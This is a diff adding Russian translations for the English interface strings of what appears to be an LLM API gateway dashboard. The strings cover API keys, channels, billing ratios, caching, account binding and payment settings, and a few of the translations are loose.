+    "API Base URL (Important: Not Chat API) *": "Базовый URL API (Важно: Не Chat API) *",
+    "API Base URL *": "Базовый URL API *",
+    "API Endpoints": "Конечные точки API",
+    "API Info": "Информация об API",
+    "API info added. Click \"Save Settings\" to apply.": "Информация API добавлена. Нажмите «Сохранить настройки», чтобы применить.",
+    "API info deleted. Click \"Save Settings\" to apply.": "Информация API удалена. Нажмите «Сохранить настройки», чтобы применить.",
+    "API info saved successfully": "Информация API успешно сохранена",
+    "API info updated. Click \"Save Settings\" to apply.": "Информация API обновлена. Нажмите «Сохранить настройки», чтобы применить.",
+    "API key": "Ключ API",
+    "API Key": "Ключ API",
+    "API Key (one per line for batch mode)": "Ключ API (по одному на строку для пакетного режима)",
+    "API Key (Production)": "API-ключ (Продакшн)",
+    "API Key (Sandbox)": "API-ключ (Песочница)",
+    "API Key *": "Ключ API *",
+    "API Key created successfully": "API ключ успешно создан",
+    "API Key deleted successfully": "API ключ успешно удален",
+    "API Key disabled successfully": "API ключ успешно отключен",
+    "API Key enabled successfully": "API ключ успешно включен",
+    "API key from the provider": "Ключ API от провайдера",
+    "API key is required": "Требуется ключ API",
+    "API Key mode (does not support batch creation)": "Режим API-ключа (не поддерживает пакетное создание)",
+    "API Key mode: use APIKey|Region": "Режим API Key: use APIKey|Region",
+    "API Key updated successfully": "API ключ успешно обновлен",
+    "API Keys": "Ключи API",
+    "API Private Key": "Секретный ключ API",
+    "API Requests": "Запросы API",
+    "API secret": "Секрет API",
+    "API token management": "Управление API токенами",
+    "API URL": "URL API",
+    "API usage records": "Записи использования API",
+    "API2GPT": "API2GPT",
+    "Append": "Добавить",
+    "Append mode: New keys will be added to the end of the existing key list": "Режим добавления: Новые ключи будут добавлены в конец существующего списка ключей",
+    "Append to channel": "Добавить в канал",
+    "Append to existing keys": "Добавить к существующим ключам",
+    "appended": "добавлено",
+    "Application": "Приложение",
+    "Applies to custom completion endpoints. JSON map of model → ratio.": "Применяется к пользовательским конечным точкам завершения. JSON-карта модель → коэффициент.",
+    "Apply All Upstream Updates": "Применить все обновления из upstream",
+    "Apply Filters": "Применить фильтры",
+    "Apply IP Filter to Resolved Domains": "Применить IP-фильтр к разрешенным доменам",
+    "Apply Overwrite": "Применить перезапись",
+    "Apply Sync": "Применить синхронизацию",
+    "Applying...": "Применение...",
+    "Approx.": "Примерно.",
+    "are also listed here. Remove them from Models to keep the `/v1/models` response user-friendly and hide vendor-specific names.": "также перечислены здесь. Удалите их из Моделей, чтобы ответ `/v1/models` был удобным для пользователя и скрывал имена, специфичные для поставщиков.",
+    "Are you sure you want to delete": "Вы уверены, что хотите удалить",
+    "Are you sure you want to delete all auto-disabled keys? This action cannot be undone.": "Вы уверены, что хотите удалить все автоматически отключённые ключи? Это действие нельзя отменить.",
+    "Are you sure you want to delete deployment \"{{name}}\"? This action cannot be undone.": "Вы уверены, что хотите удалить развертывание \"{{name}}\"? Это действие нельзя отменить.",
+    "Are you sure you want to delete this key? This action cannot be undone.": "Вы уверены, что хотите удалить этот ключ? Это действие нельзя отменить.",
+    "Are you sure you want to disable all enabled keys?": "Вы уверены, что хотите отключить все включённые ключи?",
+    "Are you sure you want to enable all keys?": "Вы уверены, что хотите включить все ключи?",
+    "Are you sure you want to manually complete this order? The user will be credited with the corresponding quota.": "Вы уверены, что хотите вручную завершить этот заказ? Пользователю будет начислена соответствующая квота.",
+    "Are you sure you want to sign out? You will need to sign in again to access your account.": "Вы уверены, что хотите выйти? Вам нужно будет войти снова, чтобы получить доступ к аккаунту.",
+    "Are you sure you want to unbind {{provider}} for this user? The user will no longer be able to log in via this method.": "Вы уверены, что хотите отвязать {{provider}} для этого пользователя? Пользователь больше не сможет входить через этот метод.",
+    "Are you sure you want to unbind {{provider}}? You will no longer be able to log in via this method.": "Вы уверены, что хотите отвязать {{provider}}? Вы больше не сможете входить через этот метод.",
+    "Are you sure?": "Вы уверены?",
+    "Args (space separated)": "Аргументы (разделённые пробелами)",
+    "Array of chat client presets. Each item is an object with one key-value pair: client name and its URL.": "Массив предустановок чат-клиентов. Каждый элемент представляет собой объект с одной парой ключ-значение: имя клиента и его URL.",
+    "Area Chart": "Диаграмма с областями",
+    "Asc": "По возрастанию",
+    "Ask anything": "Спросите что угодно",
+    "Async task refund": "Возврат асинхронной задачи",
+    "At least one model regex pattern is required": "Требуется хотя бы один шаблон регулярного выражения модели",
+    "At least one valid key source is required": "Требуется хотя бы один действительный источник ключа",
+    "Attach": "Прикрепить",
+    "Audio": "Аудио",
+    "Audio comp.": "Аудио-вывод",
+    "Audio completion ratio": "Коэффициент завершения аудио",
+    "Audio In": "Аудиовход",
+    "Audio input": "Аудиовход",
+    "Audio Input": "Аудио вход",
+    "Audio Input Price": "Цена аудиовхода",
+    "Audio Out": "Аудиовыход",
+    "Audio output": "Аудиовыход",
+    "Audio Output": "Аудио выход",
+    "Audio playback failed": "Ошибка воспроизведения аудио",
+    "Audio Preview": "Предпросмотр аудио",
+    "Audio ratio": "Коэффициент аудио",
+    "Audio Tokens": "Аудио токены",
+    "Auth Style": "Стиль аутентификации",
+    "Authentication": "Аутентификация",
+    "Authenticator code": "Код аутентификатора",
+    "Authorization Endpoint": "Конечная точка авторизации",
+    "Authorization Endpoint (Optional)": "Конечная точка авторизации (необязательно)",
+    "Authorize": "Авторизовать",
+    "Auto": "Авто",
+    "Auto (Circuit Breaker)": "Авто (Автовыключатель)",
+    "Auto assignment order": "Порядок автоматического назначения",
+    "Auto Ban": "Автоматическая блокировка",
+    "Auto detect (default)": "Автоматическое определение (по умолчанию)",
+    "Auto Disabled": "Автоматически отключено",
+    "Auto Group Chain": "Автоматическая цепочка групп",
+    "Auto refresh": "Автообновление",
+    "Auto Sync Upstream Models": "Автоматическая синхронизация моделей провайдера",
+    "Auto-disable status codes": "Коды автоотключения",
+    "Auto-discover": "Автообнаружение",
+    "Auto-discovers endpoints from the provider": "Автоматически обнаруживает конечные точки от провайдера",
+    "Auto-retry status codes": "Коды авто-повтора",
+    "Automatically disable channel on repeated failures": "Автоматически отключать канал при повторных неудачах",
+    "Automatically disable channels exceeding this response time": "Автоматически отключать каналы, превышающие это время ответа",
+    "Automatically disable channels when tests fail": "Автоматически отключать каналы при сбое тестов",
+    "Automatically probe all channels in the background": "Автоматически проверять все каналы в фоновом режиме",
+    "Automatically replaces upstream callback URLs with the server address.": "Автоматически заменяет URL обратных вызовов upstream на адрес сервера.",
+    "Automatically selects the best available group with circuit breaker mechanism": "Автоматически выбирает лучшую доступную группу с механизмом circuit breaker",
+    "Automatically sync model list when upstream changes are detected": "Автоматически синхронизировать список моделей при обнаружении изменений у провайдера",
+    "Automatically test channels and notify users when limits are hit": "Автоматически тестировать каналы и уведомлять пользователей при достижении лимитов",
+    "Available": "Доступно",
+    "Available disk space": "Доступное дисковое пространство",
+    "Available Models": "Доступные модели",
+    "Available Rewards": "Доступные награды",
+    "Average RPM": "Среднее число оборотов в минуту",
+    "Average TPM": "Среднее число транзакций в минуту",
+    "AWS": "AWS",
+    "AWS Key Format": "Формат ключа AWS",
+    "Azure": "Azure",
+    "AZURE_OPENAI_ENDPOINT *": "AZURE_OPENAI_ENDPOINT *",
+    "Back": "Назад",
+    "Back to Home": "Вернуться на главную",
+    "Back to login": "Вернуться к входу",
+    "Back to Models": "Вернуться к моделям",
+    "Backed up": "Резервная копия создана",
+    "Background job tracker for queued work.": "Отслеживатель фоновых заданий для задач в очереди.",
+    "Backup Code": "Резервный код",
+    "Backup code must be in format XXXX-XXXX": "Резервный код должен быть в формате XXXX-XXXX",
+    "Backup codes regenerated successfully": "Резервные коды успешно перегенерированы",
+    "Backup codes remaining: {{count}}": "Осталось резервных кодов: {{count}}",
+    "Badge Color": "Цвет значка",
+    "Baidu": "Baidu",
+    "Baidu V2": "Baidu V2",
+    "Balance": "Баланс",
+    "Balance and top-up management": "Управление балансом и пополнением",
+    "Balance queried successfully": "Баланс успешно запрошен",
+    "Balance updated successfully": "Баланс успешно обновлён",
+    "Balance updated: {{balance}}": "Баланс обновлён: {{balance}}",
+    "Bar Chart": "Столбчатая диаграмма",
+    "Bark Push URL": "URL для push-уведомлений Bark",
+    "Base address provided by your Epay service": "Базовый адрес, предоставленный вашим сервисом Epay",
+    "Base amount. Actual deduction = base amount × system group rate.": "Базовая сумма. Фактический вычет = базовая сумма × коэффициент группы.",
+    "Base Limits": "Базовые лимиты",
+    "Base multipliers applied when users select specific groups.": "Базовые множители, применяемые, когда пользователи выбирают определенные группы.",
+    "Base rate limit windows for this account.": "Окна базовых лимитов для этого аккаунта.",
+    "Base URL": "Адрес API",
+    "Base URL of your Uptime Kuma instance": "Базовый URL вашего экземпляра Uptime Kuma",
+    "Basic Authentication": "Базовая аутентификация",
+    "Basic Configuration": "Базовая конфигурация",
+    "Basic Info": "Основная информация",
+    "Basic Information": "Основная информация",
+    "Batch Add (one key per line)": "Пакетное добавление (один ключ на строку)",
+    "Batch delete failed": "Пакетное удаление не удалось",
+    "Batch detection complete: {{channels}} channels, {{add}} to add, {{remove}} to remove, {{fails}} failed": "Пакетное обнаружение завершено: {{channels}} каналов, {{add}} для добавления, {{remove}} для удаления, {{fails}} ошибок",
+    "Batch detection failed": "Пакетное обнаружение не удалось",
+    "Batch disable failed": "Пакетное отключение не удалось",
+    "Batch Edit": "Пакетное редактирование",
+    "Batch edit all channels with this tag. Leave fields empty to keep current values.": "Пакетно редактировать все каналы с этим тегом. Оставьте поля пустыми, чтобы сохранить текущие значения.",
+    "Batch Edit by Tag": "Пакетное редактирование по тегу",
+    "Batch enable failed": "Пакетное включение не удалось",
+    "Batch processing failed": "Пакетная обработка не удалась",
+    "Batch upstream model updates applied: {{channels}} channels, {{added}} added, {{removed}} removed, {{fails}} failed": "Пакетное обновление моделей: {{channels}} каналов, {{added}} добавлено, {{removed}} удалено, {{fails}} ошибок",
+    "Best for single-tenant deployments. Pricing and billing options stay hidden.": "Лучший вариант для однопользовательских развёртываний. Опции ценообразования и биллинга будут скрыты.",
+    "Billing": "Биллинг",
+    "Billing currency": "Валюта оплаты",
+    "Billing Details": "Детали биллинга",
+    "Billing History": "История биллинга",
+    "Billing Mode": "Режим биллинга",
+    "Billing Process": "Процесс тарификации",
+    "Billing Source": "Источник биллинга",
+    "Bind": "Привязать",
+    "Bind an email address to your account.": "Привяжите адрес электронной почты к вашему аккаунту.",
+    "Bind Email": "Привязать Email",
+    "Bind Telegram Account": "Привязать аккаунт Telegram",
+    "Bind WeChat Account": "Привязка аккаунта WeChat",
+    "Binding Information": "Информация о привязке",
+    "Binding successful!": "Привязка успешна!",
+    "Binding your {{provider}} account": "Привязка вашего аккаунта {{provider}}",
+    "Binding...": "Привязка...",
+    "Bindings": "Привязки",
+    "Blacklist": "Чёрный список",
+    "Blacklist (Block listed domains)": "Черный список (Блокировка доменов из списка)",
+    "Blacklist (Block listed IPs)": "Черный список (Блокировка IP из списка)",
+    "Blank Rule": "Пустое правило",
+    "Blend": "Смешивание",
+    "Block email aliases (e.g., user+alias@domain.com)": "Блокировать псевдонимы email (например, user+alias@domain.com)",
+    "Blocked keywords": "Заблокированные ключевые слова",
+    "Blocks messages when sensitive keywords are detected.": "Блокирует сообщения при обнаружении конфиденциальных ключевых слов.",
+    "Body param": "Параметр тела запроса",
+    "Bot Name": "Имя бота",
+    "Bot Protection": "Защита от ботов",
+    "Bot Token": "Токен бота",
+    "Bot:": "Бот:",
+    "Bound": "Привязано",
+    "Bound Channels": "Привязанные каналы",
+    "Bound Only": "Только привязанные",
+    "Bring channels back online after successful checks": "Вернуть каналы в онлайн после успешных проверок",
+    "Broadcast a global banner to users. Markdown is supported.": "Транслировать глобальный баннер пользователям. Поддерживается Markdown.",
+    "Broadcast short system notices on the dashboard": "Транслировать короткие системные уведомления на панели управления",
+    "Browse and compare": "Просмотр и сравнение",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.002 and 1. Recommended to keep aligned with upstream billing.": "Бюджетные токены = макс. токены × соотношение. Принимает десятичное число от 0.002 до 1. Рекомендуется поддерживать в соответствии с биллингом вышестоящего провайдера.",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.1 and 1.": "Бюджетные токены = макс. токены × соотношение. Принимает десятичное число от 0.1 до 1.",
+    "Budget Tokens Ratio": "Соотношение бюджетных токенов",
+    "Budgets": "Бюджеты",
+    "Built for developers,": "Создано для разработчиков,",
+    "Built-in": "Встроенный",
+    "Built-in Device": "Встроенное устройство",
+    "Built-in: phone fingerprint/face, or Windows Hello; External: USB security key": "Встроенное: отпечаток пальца/лицо телефона или Windows Hello; Внешнее: USB-ключ безопасности",
+    "by": "от",
+    "Cache": "Кэш",
+    "Cache Creation": "Создание кэша",
+    "Cache Creation (1h)": "Создание кэша (1h)",
+    "Cache Creation (5m)": "Создание кэша (5m)",
+    "Cache Directory": "Каталог кэша",
+    "Cache Directory Disk Space": "Дисковое пространство каталога кэша",
+    "Cache Directory Info": "Информация о каталоге кэша",
+    "Cache Entries": "Записи кэша",
+    "Cache mode": "Режим кэша",
+    "Cache ratio": "Коэффициент кэша",
+    "Cache Read": "Чтение кэша",
+    "Cache write": "Запись кэша",
+    "Cache Write": "Запись в кэш",
+    "Cache Write (1h)": "Запись кэша (1h)",
+    "Cache Write (5m)": "Запись кэша (5m)",
+    "Cached": "Кэш",
+    "Cached input": "Кэшированный ввод",
+    "Calculated price: ${{price}} per 1M tokens": "Расчётная цена: ${{price}} за 1М токенов",
+    "Calculated ratio: {{ratio}}": "Расчётный коэффициент: {{ratio}}",
+    "Calculating...": "Вычисление...",
+    "Call Count Distribution": "Распределение количества вызовов",
+    "Call Count Ranking": "Рейтинг по количеству вызовов",
+    "Call Proportion": "Доля вызовов",
+    "Call Trend": "Тенденция вызовов",
+    "Callback address": "Адрес обратного вызова",
+    "Callback Caller IP": "IP вызывающей стороны callback",
+    "Callback notification URL": "URL обратного вызова",
+    "Callback Payment Method": "Способ оплаты (callback)",
+    "Callback URL": "URL обратного вызова",
+    "Cancel": "Отмена",
+    "Cancelled": "Отменено",
+    "Cancelled at": "Отменено",
+    "Capture a reusable bundle of models, tags, or endpoints.": "Создайте повторно используемый набор моделей, тегов или конечных точек.",
+    "Category Name": "Название категории",
+    "Category name is required": "Название категории обязательно",
+    "Category name must be less than 50 characters": "Название категории должно содержать менее 50 символов",
+    "Caution": "Внимание",
+    "CC Switch": "CC переключение",
+    "Chain": "Цепочка",
+    "Change": "Изменить",
+    "Change language": "Изменить язык",
+    "Change Password": "Изменить пароль",
+    "Change To": "Изменить на",
+    "Changing...": "Изменение...",
+    "Channel": "Канал",
+    "Channel Affinity": "Привязка к каналу",
+    "Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.": "Привязка к каналу повторно использует последний успешный канал на основе ключей, извлечённых из контекста запроса или тела JSON.",
+    "Channel Affinity: Upstream Cache Hit": "Привязка к каналу: попадание в кэш upstream",
+    "Channel copied successfully": "Канал успешно скопирован",
+    "Channel created successfully": "Канал успешно создан",
+    "Channel deleted successfully": "Канал успешно удалён",
+    "Channel disabled successfully": "Канал успешно отключён",
+    "Channel enabled successfully": "Канал успешно включён",
+    "Channel Extra Settings": "Дополнительные настройки канала",
+    "Channel ID": "ID канала",
+    "Channel key unlocked": "Ключ канала разблокирован",
+    "Channel models": "Модели каналов",
+    "Channel name is required": "Имя канала обязательно",
+    "Channel test completed": "Тест канала завершён",
+    "Channel type is required": "Тип канала обязателен",
+    "Channel updated successfully": "Канал успешно обновлён",
+    "Channel-specific settings (JSON format)": "Настройки, специфичные для канала (формат JSON)",
+    "Channel:": "Канал:",
+    "channel(s)? This action cannot be undone.": "канал(ы)? Это действие нельзя отменить.",
+    "Channels": "Каналы",
+    "Channels deleted successfully": "Каналы успешно удалены",
+    "Chart Settings": "Настройки диаграммы",
+    "Chat": "Чат",
+    "Chat area": "Область чата",
+    "Chat Area": "Область чата",
+    "Chat Client Name": "Имя чат-клиента",
+    "Chat client name is required": "Название чат-клиента обязательно",
+    "Chat configuration JSON": "JSON конфигурации чата",
+    "Chat preset not found": "Предустановка чата не найдена",
+    "Chat Presets": "Предустановки чата",
+    "Chat session management": "Управление сессиями чата",
+    "ChatCompletions -> Responses Compatibility": "Совместимость ChatCompletions → Ответы",
+    "Check for updates": "Проверить обновления",
+    "Check in daily to receive random quota rewards": "Регистрируйтесь ежедневно, чтобы получать случайные вознаграждения по квоте",
+    "Check in now": "Войдите сейчас",
+    "Check resolved IPs against IP filters even when accessing by domain": "Проверять разрешенные IP-адреса по IP-фильтрам даже при доступе по домену",
+    "Check-in failed": "Регистрация не удалась.",
+    "Check-in Settings": "Настройки прибытия",
+    "Check-in successful! Received": "Прибытие прошло успешно! Получено",
+    "Checked in": "Зарегистрирован",
+    "Checking connection": "Проверка подключения",
+    "Checking name...": "Проверяю имя...",
+    "Checking updates...": "Проверка обновлений...",
+    "checkout.session.completed": "checkout.session.completed",
+    "checkout.session.expired": "checkout.session.expired",
+    "Chinese": "Китайский",
+    "Choose a username": "Выберите имя пользователя",
+    "Choose an amount and payment method": "Выберите сумму и способ оплаты",
+    "Choose between default expanded, compact icon-only, or full layout mode": "Выберите между развернутым по умолчанию, компактным (только иконки) или полным режимом макета",
+    "Choose between inset, floating, or standard sidebar layout": "Выберите между встроенным, плавающим или стандартным макетом боковой панели",
+    "Choose between left-to-right or right-to-left site direction": "Выберите между направлением сайта слева направо или справа налево",
+    "Choose between system preference, light mode, or dark mode": "Выберите между системными настройками, светлым режимом или темным режимом",
+    "Choose channels to sync upstream ratio configurations from": "Выберите каналы для синхронизации конфигураций соотношений из вышестоящих источников",
+    "Choose Group": "Выбрать группу",
+    "Choose how quota values are shown to users": "Выберите, как значения квоты отображаются пользователям",
+    "Choose how the platform will operate": "Выберите режим работы платформы",
+    "Choose how to filter domains": "Выберите, как фильтровать домены",
+    "Choose how to filter IP addresses": "Выберите, как фильтровать IP-адреса",
+    "Choose the bundle type and define the items inside it.": "Выберите тип пакета и определите элементы внутри него.",
+    "Choose where to fetch upstream metadata.": "Выберите, откуда получать метаданные вышестоящего источника.",
+    "Classic (Legacy Frontend)": "Классический (Старый интерфейс)",
+    "Claude": "Клод",
+    "Clean history logs": "Очистить журналы истории",
+    "Clean logs": "Очистить логи",
+    "Clean up inactive cache": "Очистить неактивный кэш",
+    "Clean Up Log Files": "Очистить файлы журналов",
+    "Cleaned up {{count}} log files, freed {{size}}": "Очищено {{count}} файлов журналов, освобождено {{size}}",
+    "Cleaning...": "Очистка...",
+    "Cleanup failed": "Ошибка очистки",
+    "Cleanup Mode": "Режим очистки",
+    "Clear": "Очистить",
+    "Clear all": "Очистить все",
+    "Clear All": "Очистить все",
+    "Clear All Cache": "Очистить весь кэш",
+    "Clear all filters": "Очистить все фильтры",
+    "Clear cache for this rule": "Очистить кэш этого правила",
+    "Clear filters": "Очистить фильтры",
+    "Clear Mapping": "Очистить сопоставление",
+    "Clear mode flags in prompts": "Очистить флаги режимов в промптах",
+    "Clear search": "Очистить поиск",
+    "Clear selection": "Снять выделение",
+    "Clear selection (Escape)": "Снять выделение (Escape)",
+    "Cleared": "Очищено",
+    "Cleared all models": "Все модели очищены",
+    "Click \"Create Plan\" to create your first subscription plan": "Нажмите «Создать план», чтобы создать первый план подписки",
+    "Click \"Generate\" to create a token": "Нажмите \"Сгенерировать\", чтобы создать токен",
+    "Click for details": "Нажмите для подробностей",
+    "Click save when you're done.": "Нажмите «Сохранить», когда закончите.",
+    "Click save when you&apos;re done.": "Нажмите сохранить, когда закончите.",
+    "Click the button below to bind your Telegram account": "Нажмите кнопку ниже, чтобы привязать ваш аккаунт Telegram",
+    "Click to open deployment": "Нажмите, чтобы открыть развертывание",
+    "Click to preview audio": "Нажмите для предпросмотра аудио",
+    "Click to preview video": "Нажмите, чтобы просмотреть видео",
+    "Click to update balance": "Нажмите, чтобы обновить баланс",
+    "Click to view Codex usage": "Нажмите, чтобы посмотреть использование Codex",
+    "Click to view full details": "Нажмите для просмотра подробностей",
+    "Click to view full error message": "Нажмите, чтобы увидеть полное сообщение об ошибке",
+    "Click to view full prompt": "Нажмите, чтобы увидеть полный промпт",
+    "Client ID": "ID клиента",
+    "Client Secret": "Секрет клиента",
+    "Close": "Закрыть",
+    "Close dialog": "Закрыть диалог",
+    "Close menu": "Закрыть меню",
+    "Close Today": "Закрыть сегодня",
+    "Cloudflare": "Cloudflare",
+    "CNY": "Юань",
+    "CNY per USD": "CNY за USD",
+    "Code": "Код",
+    "Codes copied!": "Коды скопированы!",
+    "Codex": "Codex",
+    "Codex Account & Usage": "Аккаунт и использование Codex",
+    "Codex Authorization": "Авторизация Codex",
+    "Codex channels use an OAuth JSON credential as the key.": "Каналы Codex используют учётные данные OAuth в формате JSON в качестве ключа.",
+    "Cohere": "Cohere",
+    "Collapse": "Свернуть",
+    "Color": "Цвет",
+    "Color is required": "Цвет обязателен",
+    "Color:": "Цвет:",
+    "Coming Soon!": "Скоро!",
+    "Comma-separated list of allowed ports (empty = all ports)": "Список разрешенных портов, разделенных запятыми (пусто = все порты)",
+    "Comma-separated model names (leave empty to keep current)": "Названия моделей, разделенные запятыми (оставьте пустым, чтобы сохранить текущие)",
+    "Comma-separated model names, e.g., gpt-4,gpt-3.5-turbo": "Имена моделей, разделённые запятыми, например, gpt-4,gpt-3.5-turbo",
+    "Command": "Команда",
+    "Common": "Общие",
+    "Common Keys": "Часто используемые ключи",
+    "Common Logs": "Общие журналы",
+    "Common ports include 25, 465, and 587": "Распространенные порты включают 25, 465 и 587",
+    "Common User": "Обычный пользователь",
+    "Complete API documentation with multi-language SDK support": "Полная документация API с поддержкой SDK на нескольких языках",
+    "Complete Order": "Вывод заказа",
+    "Complete these steps to finish the initial installation.": "Выполните эти шаги, чтобы завершить начальную установку.",
+    "Completed": "Завершено",
+    "Completion": "Вывод",
+    "Completion price ($/1M tokens)": "Цена завершения ($/1 млн токенов)",
+    "Completion ratio": "Коэффициент завершения",
+    "Concatenate channel system prompt with user&apos;s prompt": "Объединить системный промпт канала с промптом пользователя",
+    "Conditional multipliers": "Условные множители",
+    "Conditions (AND)": "Условия (AND)",
+    "Confidence": "Уверенность",
+    "Configuration": "Конфигурация",
+    "Configuration File": "Файл конфигурации",
+    "Configuration for Creem payment integration": "Конфигурация для интеграции платежей Creem",
+    "Configuration for Epay payment integration": "Конфигурация для интеграции платежей Epay",
+    "Configuration for Stripe payment integration": "Конфигурация для интеграции платежей Stripe",
+    "Configuration required": "Требуется настройка",
+    "Configure": "Настройка",
+    "Configure a Creem product for user recharge options.": "Настройте продукт Creem для опций пополнения пользователя.",
+    "Configure a custom ratio for when users use a specific token group.": "Настроить пользовательский коэффициент при использовании определённой группы токенов.",
+    "Configure a group that users can select when creating API keys.": "Настройте группу, которую пользователи могут выбрать при создании ключей API.",
+    "Configure a new custom OAuth provider for user authentication.": "Настройка нового пользовательского OAuth-провайдера для аутентификации пользователей.",
+    "Configure a payment method for user recharge options.": "Настройте способ оплаты для опций пополнения счета пользователя.",
+    "Configure a predefined chat link for end users.": "Настройте предопределенную ссылку для чата для конечных пользователей.",
+    "Configure and deploy a new container instance.": "Настройте и разверните новый экземпляр контейнера.",
+    "Configure API documentation links for the dashboard": "Настроить ссылки на документацию API для панели управления",
+    "Configure at:": "Настроить в:",
+    "Configure available payment methods. Provide a JSON array.": "Настроить доступные способы оплаты. Предоставьте JSON-массив.",
+    "Configure basic system information and branding": "Настроить основную информацию о системе и брендинг",
+    "Configure channel affinity (sticky routing) rules": "Настроить правила привязки к каналу (липкая маршрутизация)",
+    "Configure Creem products. Provide a JSON array.": "Настройте продукты Creem. Укажите массив JSON.",
+    "Configure custom OAuth providers for user authentication": "Настройка пользовательских OAuth-провайдеров для аутентификации пользователей",
+    "Configure daily check-in rewards for users": "Настроить ежедневные награды за регистрацию для пользователей",
+    "Configure discount rates based on recharge amounts": "Настроить скидки в зависимости от сумм пополнения",
+    "Configure experimental data export for the dashboard": "Настроить экспериментальный экспорт данных для панели управления",
+    "Configure Gemini safety behavior, version overrides, and thinking adapter": "Настроить поведение безопасности Gemini, переопределения версий и адаптер мышления",
+    "Configure in your Creem dashboard": "Настройте в панели управления Creem",
+    "Configure io.net API key for model deployments": "Настройте API-ключ io.net для развертывания моделей",
+    "Configure keyword filtering for prompts and responses.": "Настроить фильтрацию по ключевым словам для запросов и ответов.",
+    "Configure model, caching, and group ratios used for billing": "Настроить модель, кэширование и групповые коэффициенты, используемые для выставления счетов",
+    "Configure monitoring status page groups for the dashboard": "Настроить группы страниц состояния мониторинга для панели управления",
+    "Configure outgoing email server for notifications": "Настроить исходящий почтовый сервер для уведомлений",
+    "Configure Passkey (WebAuthn) login settings": "Настроить настройки входа с помощью ключа доступа (WebAuthn)",
+    "Configure password-based login and registration": "Настроить вход и регистрацию по паролю",
+    "Configure per-model ratio for image inputs or outputs.": "Настроить коэффициент для каждой модели для ввода или вывода изображений.",
+    "Configure per-tool unit prices ($/1K calls). Per-request models do not incur additional tool fees.": "Настройте стоимость единицы на инструмент ($/1K вызовов). Для моделей с оплатой за запрос доп. плата за инструменты не взимается.",
+    "Configure predefined chat links surfaced to end users.": "Настроить предопределенные ссылки чата, отображаемые конечным пользователям.",
+    "Configure pricing model and display options": "Настроить модель ценообразования и параметры отображения",
+    "Configure pricing ratios for a specific model.": "Настроить коэффициенты ценообразования для конкретной модели.",
+    "Configure rate limiting rules for a specific user group.": "Настроить правила ограничения скорости для конкретной группы пользователей.",
+    "Configure recharge pricing and payment gateway integrations": "Настроить цены пополнения и интеграции платежных шлюзов",
+    "Configure system-wide behavior and defaults": "Настроить общесистемное поведение и значения по умолчанию",
+    "Configure the ratio for this group.": "Настроить коэффициент для этой группы.",
+    "Configure third-party authentication providers": "Настроить сторонних поставщиков аутентификации",
+    "Configure upstream providers and routing.": "Настроить провайдеров верхнего уровня и маршрутизацию.",
+    "Configure upstream worker or proxy service for outbound requests": "Настроить вышестоящий рабочий или прокси-сервис для исходящих запросов",
+    "Configure user quota allocation and rewards": "Настроить распределение пользовательских квот и вознаграждений",
+    "Configure Waffo Pancake hosted checkout integration for USD-priced top-ups": "Настроить хостовую интеграцию Waffo Pancake (hosted checkout) для пополнений в USD",
+    "Configure Waffo payment aggregation platform integration": "Настроить интеграцию платёжной платформы Waffo",
+    "Configure xAI Grok model settings": "Настроить параметры модели xAI Grok",
+    "Configure xAI Grok model specific settings": "Настроить параметры модели xAI Grok",
+    "Configure your account behavior preferences": "Настроить предпочтения поведения вашей учетной записи",
+    "Configure your account preferences and integrations": "Настроить параметры и интеграции вашей учетной записи",
+    "Confirm": "Подтверждение",
+    "Confirm Action": "Подтвердить действие",
+    "Confirm Batch Update": "Подтвердить пакетное обновление",
+    "Confirm Billing Conflicts": "Подтвердить конфликты выставления счетов",
+    "Confirm Changes": "Подтвердить изменения",
+    "Confirm Cleanup": "Подтвердить очистку",
+    "Confirm cleanup of inactive disk cache?": "Подтвердить очистку неактивного дискового кэша?",
+    "Confirm clearing all channel affinity cache": "Подтвердите очистку всего кэша привязки к каналу",
+    "Confirm clearing cache for this rule": "Подтвердите очистку кэша этого правила",
+    "Confirm Creem Purchase": "Подтвердить покупку Creem",
+    "Confirm delete": "Подтвердить удаление",
+    "Confirm disable": "Подтвердить отключение",
+    "Confirm enable": "Подтвердить включение",
+    "Confirm invalidate": "Подтвердить аннулирование",
+    "Confirm log cleanup": "Подтвердить очистку логов",
+    "Confirm log file cleanup?": "Подтвердить очистку файлов журналов?",
+    "Confirm New Password": "Подтвердить новый пароль",
+    "Confirm password": "Подтвердить пароль",
+    "Confirm Payment": "Подтвердить оплату",
+    "Confirm Selection": "Подтвердить выбор",
+    "Confirm settings and finish setup": "Подтвердите настройки и завершите установку",
+    "Confirm Unbind": "Подтвердить отвязку",
+    "Confirm your identity before removing this Passkey from your account.": "Подтвердите свою личность перед удалением этой Passkey из вашей учётной записи.",
+    "Confirm your identity with Two-factor Authentication before registering a Passkey.": "Подтвердите свою личность с помощью двухфакторной аутентификации перед регистрацией Passkey.",
+    "Conflict": "Противоречие",
+    "Connect": "Подключение",
+    "Connected to io.net service normally.": "Соединение с сервисом io.net установлено.",
+    "Connection error": "Ошибка соединения",
+    "Connection failed": "Не удалось подключиться",
+    "Connection successful": "Подключение успешно",
+    "Console": "Консоль",
+    "Console area": "Область консоли",
+    "Console Area": "Область консоли",
+    "Consume": "Расход",
+    "Container": "Контейнер",
+    "Container name": "Имя контейнера",
+    "Containers": "Контейнеры",
+    "Contains": "Содержит",
+    "Contains Match": "Совпадение по содержанию",
+    "Content": "Содержание",
+    "Content displayed on the home page (supports Markdown)": "Содержимое, отображаемое на главной странице (поддерживает Markdown)",
+    "Content not found.": "Контент не найден.",
+    "Content not modified!": "Контент не изменён!",
+    "Continue": "Продолжить",
+    "Continue with {{name}}": "Продолжить с {{name}}",
+    "Continue with Discord": "Продолжить с Discord",
+    "Continue with GitHub": "Продолжить с GitHub",
+    "Continue with LinuxDO": "Продолжить с LinuxDO",
+    "Continue with OIDC": "Продолжить с OIDC",
+    "Continue with Telegram": "Продолжить с Telegram",
+    "Continue with WeChat": "Продолжить с WeChat",
+    "Control log retention and clean historical data.": "Контролировать хранение логов и очистку исторических данных.",
+    "Control passthrough behavior and connection keep-alive settings": "Контролировать сквозное поведение и настройки поддержания соединения",
+    "Control request frequency to prevent abuse and manage system load.": "Контролировать частоту запросов для предотвращения злоупотреблений и управления нагрузкой на систему.",
+    "Control which sidebar areas and modules are available to all users.": "Контролировать, какие области боковой панели и модули доступны всем пользователям.",
+    "Controls whether user verification (biometrics/PIN) is required during Passkey flows.": "Определяет, требуется ли проверка пользователя (биометрия/PIN) во время процессов Passkey.",
